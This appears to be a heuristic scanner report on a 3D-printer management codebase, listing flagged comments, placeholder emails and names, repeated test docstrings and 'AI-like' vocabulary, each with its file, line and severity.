LOWbackend/tests/unit/services/test_bambu_mqtt.py3322 # Step 1: Right extruder loads AMS 0 slot 0COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3334 # Step 2: Switch to left, load AMS HTCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3347 # Step 3: Switch back to right, load AMS 0 slot 2COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3360 # Step 4: UnloadCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py595 # Step 1: Print starts — plug turns onCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py610 # Step 2: Print completes — auto-off is scheduledCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py622 # Step 3: Auto-off executes via _mark_auto_off_executedCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2804 # Step 1: Initial TOTP setup (no active TOTP yet → no code required)COMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2812 # Step 2: Enable TOTP with a valid codeCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2821 # Step 3: Determine current valid code and its counterCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2833 # Step 4: Pre-set last_totp_counter so this code looks already usedCOMMENT
LOW⚡backend/tests/integration/test_mfa_api.py2837 # Step 5: Attempt setup_totp with the "already used" code → must be rejectedCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py96 # Step 1: Reset (set RR=1, then RR=0)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py103 # Step 2: Power up digital (PUD=1 auto-starts AD conversion)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py109 # Step 3: Wait for power-up ready (PUR bit 3)COMMENT
LOW⚡spoolbuddy/daemon/nau7802.py127 # Step 4: Configure deviceCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py145 # Step 5: Tuning per application notesCOMMENT
LOW⚡spoolbuddy/daemon/nau7802.py151 # Step 6: Trigger fresh AD conversion and wait for first resultCOMMENT
Fake / Example Data68 hits · 66 pts
SeverityFileLineSnippetContext
LOWfrontend/src/components/CreateUserAdvancedAuthModal.tsx163 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOW…ntend/src/__tests__/components/SpoolFormModal.test.tsx316 input.getAttribute('placeholder')?.toLowerCase().includes('spool')CODE
LOW…ntend/src/__tests__/components/SpoolFormModal.test.tsx1600 .find((input) => input.getAttribute('placeholder')?.toLowerCase().includes('spool'));CODE
LOW…ntend/src/__tests__/components/LdapUserPicker.test.tsx75 display_name: 'John Doe',CODE
LOW…nd/src/__tests__/pages/SpoolBuddyWriteTagPage.test.tsx343 .find((el) => el.getAttribute('placeholder')?.toLowerCase().includes('spool'));CODE
LOWfrontend/src/__tests__/pages/SettingsPage.test.tsx804 expect(input).toHaveAttribute('placeholder', '38');CODE
LOWfrontend/src/__tests__/pages/CloudLoginCaptcha.test.tsx28 await user.type(await screen.findByPlaceholderText('your@email.com'), 'user@example.com');CODE
LOWfrontend/src/i18n/locales/zh-TW.ts3576 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/pt-BR.ts3576 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/zh-CN.ts3576 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/en.ts3619 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/uk.ts3616 emailPlaceholder: "user@example.com",CODE
LOWfrontend/src/i18n/locales/nl.ts3619 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/ru.ts3406 emailPlaceholder: "user@example.com",CODE
LOWfrontend/src/i18n/locales/ko.ts3414 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/ja.ts3589 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/pages/SettingsPage.tsx7411 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOWfrontend/src/pages/UsersPage.tsx697 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOWbackend/app/api/routes/mfa.py1973 # and "user@example.com" are treated as the same identity, preventingCOMMENT
LOW⚡backend/tests/unit/test_cloud_token_expiry.py276 await store_token(db_session, "brand-new-token", "user@example.com", "global", None)CODE
LOW⚡backend/tests/unit/test_cloud_token_expiry.py284 (CLOUD_EMAIL_KEY, "user@example.com"),CODE
LOW⚡backend/tests/unit/test_cloud_token_expiry.py302 db_session.add(Settings(key=CLOUD_EMAIL_KEY, value="user@example.com"))CODE
LOW⚡backend/tests/unit/test_cloud_token_expiry.py336 assert body["email"] == "user@example.com"CODE
LOWbackend/tests/unit/test_db_dialect.py240 assert rows[0] == "user@example.com"CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py96 result = await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py112 result = await svc.verify_code("user@example.com", "123456")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py132 result = await svc.login_request("user@example.com", "wrong")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py145 await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py148 result = await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py156 await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py159 result = await second.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py167 await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py171 result = await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py182 await svc.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py193 await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/test_cloud_captcha_2790.py197 result = await cn.login_request("user@example.com", "pw")CODE
LOW⚡backend/tests/unit/services/test_ldap_service.py610 displayName="John Doe",CODE
LOW⚡backend/tests/unit/services/test_ldap_service.py611 cn="John Doe",CODE
LOW⚡backend/tests/unit/services/test_ldap_service.py621 assert results[0].display_name == "John Doe"CODE
LOW⚡backend/tests/unit/services/test_ldap_service.py713 displayName="John Doe",CODE
LOW⚡backend/tests/unit/services/test_ldap_service.py723 assert info.display_name == "John Doe"CODE
LOW⚡backend/tests/unit/services/test_email_service.py220 smtp_username="user@example.com",CODE
LOWbackend/tests/unit/services/test_email_service.py233 assert retrieved.smtp_username == "user@example.com"CODE
LOW⚡backend/tests/integration/test_advanced_auth_api.py383 json={"email": "test@test.com"},CODE
LOWbackend/tests/integration/test_advanced_auth_api.py17 "smtp_username": "test@test.com",CODE
LOW⚡backend/tests/integration/test_mfa_api.py2083 json={"email": "user@example.com"},CODE
LOW⚡backend/tests/integration/test_mfa_api.py2346 "smtp_username": "test@test.com",CODE
LOWbackend/tests/integration/test_mfa_api.py2489 fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}CODE
LOWbackend/tests/integration/test_mfa_api.py2506 token_resp.json = MagicMock(return_value=fake_token)CODE
LOWbackend/tests/integration/test_mfa_api.py2517 mock_signing_key.key = "fake_key"CODE
LOWbackend/tests/integration/test_mfa_api.py3584 ("preferred_username", True, {"preferred_username": " User@EXAMPLE.COM "}, "user@example.com"),CODE
LOWbackend/tests/integration/test_mfa_api.py4100 claims={"sub": "nonstr-sub-1", "preferred_username": ["user@example.com"]},CODE
LOWbackend/tests/integration/test_mfa_api.py4161 assert link.provider_email == "user@example.com"CODE
LOWbackend/tests/integration/test_mfa_api.py4208 assert link.provider_email == "user@example.com"CODE
LOWbackend/tests/integration/test_mfa_api.py4540 fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}CODE
LOWbackend/tests/integration/test_mfa_api.py4556 token_resp.json = MagicMock(return_value=fake_token)CODE
LOWbackend/tests/integration/test_mfa_api.py4567 mock_signing_key.key = "fake_key"CODE
LOWbackend/tests/integration/test_mfa_api.py4686 claims={"sub": "spaces-sub-1", "preferred_username": "John Doe"},CODE
LOWbackend/tests/integration/test_mfa_api.py4675 """preferred_username='John Doe' → sanitized to 'JohnDoe'."""STRING
LOW⚡backend/tests/integration/test_cloud_auth.py300 await store_token(db_session, "user-token-abc", "user@example.com", "global", user=user)CODE
8 more matches not shown…
Cross-File Repetition13 hits · 65 pts
SeverityFileLineSnippetContext
HIGH…ests/unit/test_library_file_type_backfill_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…nd/tests/unit/test_variant_group_backfill_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_vp_mode_rename_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…s/unit/test_cancellation_cascade_recovery_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…ckend/tests/unit/test_vp_access_code_sync_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_oidc_env_managed_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…d/tests/unit/test_force_color_plate_scope_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_vp_mode_rename_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGH…s/unit/test_cancellation_cascade_recovery_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGH…ckend/tests/unit/test_vp_access_code_sync_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGHbackend/tests/integration/test_spoolman_api.py0create spoolman settings in the database (enabled with url).STRING
HIGH…ckend/tests/integration/test_spoolman_inventory_api.py0create spoolman settings in the database (enabled with url).STRING
HIGHbackend/tests/integration/test_spoolbuddy.py0create spoolman settings in the database (enabled with url).STRING
AI Slop Vocabulary19 hits · 44 pts
SeverityFileLineSnippetContext
MEDIUM…end/src/__tests__/components/LibraryTagsModal.test.tsx94 // In-use message — substring match keeps the test robust to whitespace.COMMENT
MEDIUM…end/src/__tests__/pages/InventoryPageLowStock.test.tsx420 // The exact count cell is rendered separately. Easiest robust assertion:COMMENT
MEDIUMtests/e2e_comprehensive_test.py333 """Run all comprehensive tests."""STRING
LOW⚡backend/app/main.py2879 # nothing to identify, prompting "+ Add" would just createCOMMENT
MEDIUMbackend/app/api/routes/system.py407 """Get comprehensive system information."""STRING
LOWbackend/app/api/routes/spoolman.py1289 # identity → confirm would just create a fresh Spoolman row per push.COMMENT
MEDIUMbackend/app/api/routes/camera.py979 # reinitialize_database() and lets the test harness's patch ofCOMMENT
MEDIUMbackend/app/api/routes/printers.py1158 # harness's patch of backend.app.core.database.async_session take effect.COMMENT
MEDIUMbackend/app/api/routes/printers.py4804 # the publish is the robust ack signal.COMMENT
LOWbackend/app/api/routes/printers.py718 # No conversion needed - just use the raw value directlyCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py5387 # Track RUNNING state for more robust completion detectionCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py5506 # Use _was_running flag in addition to _previous_gcode_state for more robust detectionCOMMENT
LOWbackend/app/services/bambu_mqtt.py3378 # We've already processed the status fields above, so just return if no ams listCOMMENT
MEDIUMbackend/tests/unit/test_scheduler_nozzle_mismatch.py347 # cleanup-library harness uses (get_ftp_retry_settings et al. open their ownCOMMENT
MEDIUMbackend/tests/unit/test_extract_video_last_frame.py161 # test fast — patch only inside the call so we don't affect the harness.COMMENT
LOW⚡backend/tests/unit/services/test_archive_service.py803 # When existing is None, just use additionalCOMMENT
MEDIUMbackend/tests/integration/test_security.py117 # by patching _load_or_generate_key directly. This is more robust thanCOMMENT
MEDIUM⚡…/integration/test_users_groups_privilege_escalation.py159 # Operator attempts to elevate target to admin.COMMENT
MEDIUMbackend/tests/integration/test_ldap_provision.py353 # Operators group is auto-seeded by the test harness — no need to create it.COMMENT
AI Structural Patterns35 hits · 22 pts
SeverityFileLineSnippetContext
LOWbackend/app/api/routes/library.py2135CODE
LOWbackend/app/api/routes/print_log.py51CODE
LOWbackend/app/api/routes/cloud.py1330CODE
LOWbackend/app/api/routes/archives.py411CODE
LOWbackend/app/api/routes/archives.py753CODE
LOWbackend/app/api/routes/archives.py927CODE
LOWbackend/app/api/routes/archives.py1026CODE
LOWbackend/app/api/routes/archives.py3178CODE
LOWbackend/app/api/routes/archives.py5011CODE
LOWbackend/app/api/routes/pipeline_runs.py811CODE
LOWbackend/app/api/routes/local_backup.py62CODE
LOWbackend/app/api/routes/camera.py1385CODE
LOWbackend/app/api/routes/notification_templates.py183CODE
LOWbackend/app/api/routes/settings.py1655CODE
LOWbackend/app/api/routes/printers.py1019CODE
LOWbackend/app/api/routes/printers.py2830CODE
LOWbackend/app/api/routes/notifications.py305CODE
LOWbackend/app/services/spoolman.py741CODE
LOWbackend/app/services/print_log.py16CODE
LOWbackend/app/services/notification_service.py265CODE
LOWbackend/app/services/usage_tracker.py1329CODE
LOWbackend/app/services/export.py73CODE
LOWbackend/app/services/diagnostic_snapshot.py208CODE
LOWbackend/app/services/mqtt_smart_plug.py337CODE
LOWbackend/app/services/bambu_mqtt.py1229CODE
LOWbackend/app/services/bambu_mqtt.py5890CODE
LOWbackend/app/services/email_service.py89CODE
LOWbackend/app/services/archive.py1240CODE
LOWbackend/app/services/printer_manager.py931CODE
LOWbackend/app/services/bambu_ftp.py1606CODE
LOWbackend/app/services/virtual_printer/manager.py225CODE
LOW…ts/unit/test_scheduler_class_target_smart_plug_2786.py118CODE
LOWbackend/tests/unit/services/test_printer_diagnostic.py77CODE
LOWbackend/tests/integration/test_auth_apikey_rbac.py298CODE
LOWspoolbuddy/daemon/api_client.py60CODE
Modern AI Meta-Vocabulary7 hits · 22 pts
SeverityFileLineSnippetContext
MEDIUM⚡backend/app/main.py7399 # Register bed cooldown waiter (event-driven via on_bed_temp_update callback).COMMENT
MEDIUM⚡backend/app/api/routes/pipeline_runs.py367# Source resolution + orchestrationCOMMENT
MEDIUMbackend/app/api/routes/pipeline_runs.py594 # set unconditionally since the orchestration actually got here.COMMENT
MEDIUMbackend/app/api/routes/pipeline_runs.py977 # orchestration single-sourced. The result inherits parent_run_id. EveryCOMMENT
MEDIUMbackend/app/api/routes/makerworld.py374 # specify one, lives inside ``get_download``. The route only orchestratesCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py4813 # Notify bed temperature updates (used by event-driven bed cooldown monitor)COMMENT
MEDIUMbackend/tests/integration/test_pipeline_runs_api.py88 # Materialise an empty file on disk so the orchestration's path-existsCOMMENT
Example Usage Blocks9 hits · 12 pts
SeverityFileLineSnippetContext
LOWdocker-publish.sh4# Usage:COMMENT
LOWdocker-publish-beta.sh4# Usage:COMMENT
LOWtest_security.sh6# Usage:COMMENT
LOWdocker-compose.yml5 # Usage:COMMENT
LOWdocker-publish-daily-beta.sh4# Usage:COMMENT
LOWinstall/install.sh6# Usage:COMMENT
LOWinstall/docker-install.sh6# Usage:COMMENT
LOWslicer-api/docker-compose.yml15# Usage:COMMENT
LOWspoolbuddy/install/install.sh9# Usage:COMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHbackend/app/services/firmware_check.py568 Check if a firmware update is available for a printer. Args: model: Printer model name STRING
Dead Code1 hit · 1 pts
SeverityFileLineSnippetContext
MEDIUMbackend/tests/unit/services/test_camera_fanout.py570CODE